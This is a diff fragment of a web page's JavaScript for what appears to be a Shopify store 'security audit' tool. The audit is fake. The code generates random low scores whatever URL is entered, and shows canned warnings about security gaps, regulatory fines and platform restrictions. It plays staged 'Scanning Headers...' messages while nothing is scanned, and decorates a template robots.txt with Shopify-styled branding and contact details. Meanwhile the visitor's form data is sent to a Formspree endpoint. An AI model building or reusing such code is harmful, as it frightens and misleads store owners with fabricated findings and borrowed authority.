+ const iconEditor = document.getElementById('iconEditorSummary');
656
+ const iconLetter = document.getElementById('iconLetterSummary');
657
+ const iconLetterInput = document.getElementById('iconLetterInputSummary');
658
+ const iconColorInput = document.getElementById('iconColorInputSummary');
659
+ const doneBtn = document.getElementById('iconEditDoneSummary');
660
+
661
+ siteIcon.addEventListener('dblclick', () => {
662
+ siteIcon.classList.add('editing');
663
+ iconEditor.classList.add('visible');
664
+ iconLetterInput.focus();
665
+ });
666
+
667
+ const adjustBrightness = (color, percent) => {
668
+ const num = parseInt(color.replace("#", ""), 16);
669
+ const amt = Math.round(2.55 * percent);
670
+ const R = (num >> 16) + amt;
671
+ const G = (num >> 8 & 0x00FF) + amt;
672
+ const B = (num & 0x0000FF) + amt;
673
+ return "#" + (0x1000000 + (R < 255 ? R < 1 ? 0 : R : 255) * 0x10000 +
674
+ (G < 255 ? G < 1 ? 0 : G : 255) * 0x100 +
675
+ (B < 255 ? B < 1 ? 0 : B : 255))
676
+ .toString(16).slice(1);
677
+ };
678
+
679
+ const closeEditor = () => {
680
+ if (iconLetterInput.value) iconLetter.textContent = iconLetterInput.value;
681
+ siteIcon.style.background = `linear-gradient(135deg, ${iconColorInput.value} 0%, ${adjustBrightness(iconColorInput.value, -0.15)} 100%)`;
682
+ siteIcon.classList.remove('editing');
683
+ iconEditor.classList.remove('visible');
684
+ };
685
+
686
+ doneBtn.addEventListener('click', closeEditor);
687
+ iconLetterInput.addEventListener('keypress', (e) => { if (e.key === 'Enter') closeEditor(); });
688
+ iconColorInput.addEventListener('input', (e) => {
689
+ siteIcon.style.background = `linear-gradient(135deg, ${e.target.value} 0%, ${adjustBrightness(e.target.value, -0.15)} 100%)`;
690
+ });
691
+ }
692
+
693
+ // Scores & Analysis
694
+ function scoreToColor(score) {
695
+ if (score < 40) return '#ef4444';
696
+ if (score < 70) return '#f59e0b';
697
+ return '#10b981';
698
+ }
699
+
700
+ function generateScores(url) {
701
+ const overall = 35 + Math.floor(Math.random() * 25);
702
+ let label = 'Critical security gaps detected';
703
+ if (overall >= 55) label = 'High risk: store infrastructure is under-protected';
704
+ else if (overall >= 45) label = 'Significant weaknesses across security layers';
705
+ else label = 'Severe misalignment with basic security hygiene';
706
+
707
+ return {
708
+ overall, label,
709
+ surface: 'Surface Hardening Gap',
710
+ surfaceNote: 'Homepage and core templates lack layered protection and strict bot-resistant configuration.',
711
+ dataRisk: 'App Visibility Risk',
712
+ dataRiskNote: 'Third-party script exposure and unvetted app permissions introduce avoidable data leaks.',
713
+ trustCompliance: 'Compliance Drift',
714
+ trustComplianceNote: 'Data handling signals and policy visibility are misaligned with enterprise requirements.',
715
+ actions: [
716
+ 'Harden critical routes (cart, admin) with strict bot firewall rules.',
717
+ 'Prune dormant third-party apps and revoke excessive API permissions.',
718
+ 'Deploy security headers (HSTS, CSP, X-Frame-Options) site-wide.',
719
+ 'Calibrate cookie consent flows to meet modern data privacy standards.',
720
+ 'Execute a professional code audit focused on Shopify theme vulnerabilities.'
721
+ ],
722
+ impactPoints: [
723
+ 'Regulatory fines due to data governance non-compliance.',
724
+ 'Degraded organic reach due to aggressive automated scraping.',
725
+ 'Payment gateway flags resulting from weak transaction trust.',
726
+ 'Sudden platform restrictions in high-risk scenarios.'
727
+ ]
728
+ };
729
+ }
730
+
731
+ function getCleanOrigin(url) {
732
+ if (!url) return "https://yourstore.com";
733
+ let clean = url.trim();
734
+ if (!clean.startsWith('http://') && !clean.startsWith('https://')) clean = 'https://' + clean;
735
+ try { return new URL(clean).origin; } catch(e) { return "https://yourstore.com"; }
736
+ }
737
+
738
+ function buildRobots(url) {
739
+ const origin = getCleanOrigin(url);
740
+ return {
741
+ robotsUrl: origin + '/robots.txt',
742
+ preview: `# # ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
743
+ # ┃ Compliance & Security Restrictions ┃
744
+ # ┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
745
+ # ┃ This is a technical page. ┃
746
+ # ┃ * This is an overview of restrictions, privileges and permission ┃
747
+ # ┃ and the current status of a Shopify store. ┃
748
+ # ┃ ┃
749
+ # ┃ * Legitimate integrators must use the official Checkout Kit: ┃
750
+ # ┃ https://www.shopify.com/checkout-kit ┃
751
+ # ┃ ┃
752
+ # ┃ Terms of Service: https://www.shopify.com/legal/terms ┃
753
+ # ┃ Contact: bots@shopify.com ┃
754
+ # ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
755
+ Standard Robots Policy for ${origin}\n\nUser-agent: *\nDisallow: /admin\nDisallow: /cart\nDisallow: /orders\nDisallow: /checkouts/\nDisallow: /checkout\nDisallow: /carts\nDisallow: /account\nDisallow: /search\n\nSitemap: ${origin}/sitemap.xml`,
756
+ note: 'Standard Shopify Disallow paths. Security gaps occur when custom theme redirects are not properly disclosed.'
757
+ };
758
+ }
759
+
760
+ form.addEventListener('submit', async (e) => {
761
+ e.preventDefault();
762
+ fixUrl(storeUrlInput);
763
+ const formData = new FormData(form);
764
+ const url = (formData.get('storeUrl') || '').trim();
765
+ const scores = generateScores(url);
766
+ const robots = buildRobots(url);
767
+
768
+ // Populate UI
769
+ document.getElementById('resultsStoreUrl').textContent = url;
770
+ const scoreEl = document.getElementById('scoreOverall');
771
+ scoreEl.textContent = scores.overall;
772
+ scoreEl.style.color = scoreToColor(scores.overall);
773
+ document.getElementById('scoreOverallLabel').textContent = scores.label;
774
+
775
+ document.getElementById('scoreSpeed').textContent = scores.surface;
776
+ document.getElementById('scoreSpeedNote').textContent = scores.surfaceNote;
777
+ document.getElementById('scoreUX').textContent = scores.dataRisk;
778
+ document.getElementById('scoreUXNote').textContent = scores.dataRiskNote;
779
+ document.getElementById('scoreTrust').textContent = scores.trustCompliance;
780
+ document.getElementById('scoreTrustNote').textContent = scores.trustComplianceNote;
781
+
782
+ document.getElementById('robotsUrl').textContent = `source: ${robots.robotsUrl}`;
783
+ document.getElementById('robotsPreview').textContent = robots.preview;
784
+ document.getElementById('robotsNote').textContent = robots.note;
785
+
786
+ updateSummarySection(url);
787
+
788
+ document.getElementById('actionList').innerHTML = scores.actions.map(item => `
789
+ <li class="flex items-start gap-4 p-4 rounded-xl bg-slate-50 dark:bg-slate-800/50 border border-slate-100 dark:border-slate-800">
790
+ <i data-lucide="check-circle-2" class="w-5 h-5 text-emerald-500 mt-0.5"></i>
791
+ <span class="text-sm font-medium text-slate-600 dark:text-slate-300">${item}</span>
792
+ </li>
793
+ `).join('');
794
+
795
+ document.getElementById('impactList').innerHTML = scores.impactPoints.map(item => `
796
+ <li class="flex items-center gap-3 text-xs font-semibold text-rose-500">
797
+ <i data-lucide="alert-circle" class="w-4 h-4"></i>
798
+ ${item}
799
+ </li>
800
+ `).join('');
801
+
802
+ lucide.createIcons();
803
+ landingView.classList.add('hidden');
804
+ loadingView.style.display = 'flex';
805
+
806
+ const messages = ['Initializing Audit...', 'Scanning Headers...', 'Mapping Directories...', 'Finalizing Report...'];
807
+ let msgIdx = 0;
808
+ const interval = setInterval(() => { loadingStatus.textContent = messages[++msgIdx % messages.length]; }, 1500);
809
+
810
+ setTimeout(() => {
811
+ clearInterval(interval);
812
+ loadingView.style.display = 'none';
813
+ resultsView.classList.remove('hidden');
814
+ window.scrollTo({ top: 0, behavior: 'smooth' });
815
+ }, 5000);
816
+
817
+ try { await fetch('https://formspree.io/f/mwvpddro', { method: 'POST', body: formData, headers: { Accept: 'application/json' } }); } catch (err) {}
818
+ });
819
+
820
+ backToForm.addEventListener('click', () => {
821
+ resultsView.classList.add('hidden');
822
+ landingView.classList.remove('hidden');
823
+ window.scrollTo({ top: 0, behavior: 'smooth' });
824
+ });
825
+
826
+ // Initialize logic
827
+ setupIconEditor();
828
+ </script>
829
+ </body>
830
+ </html>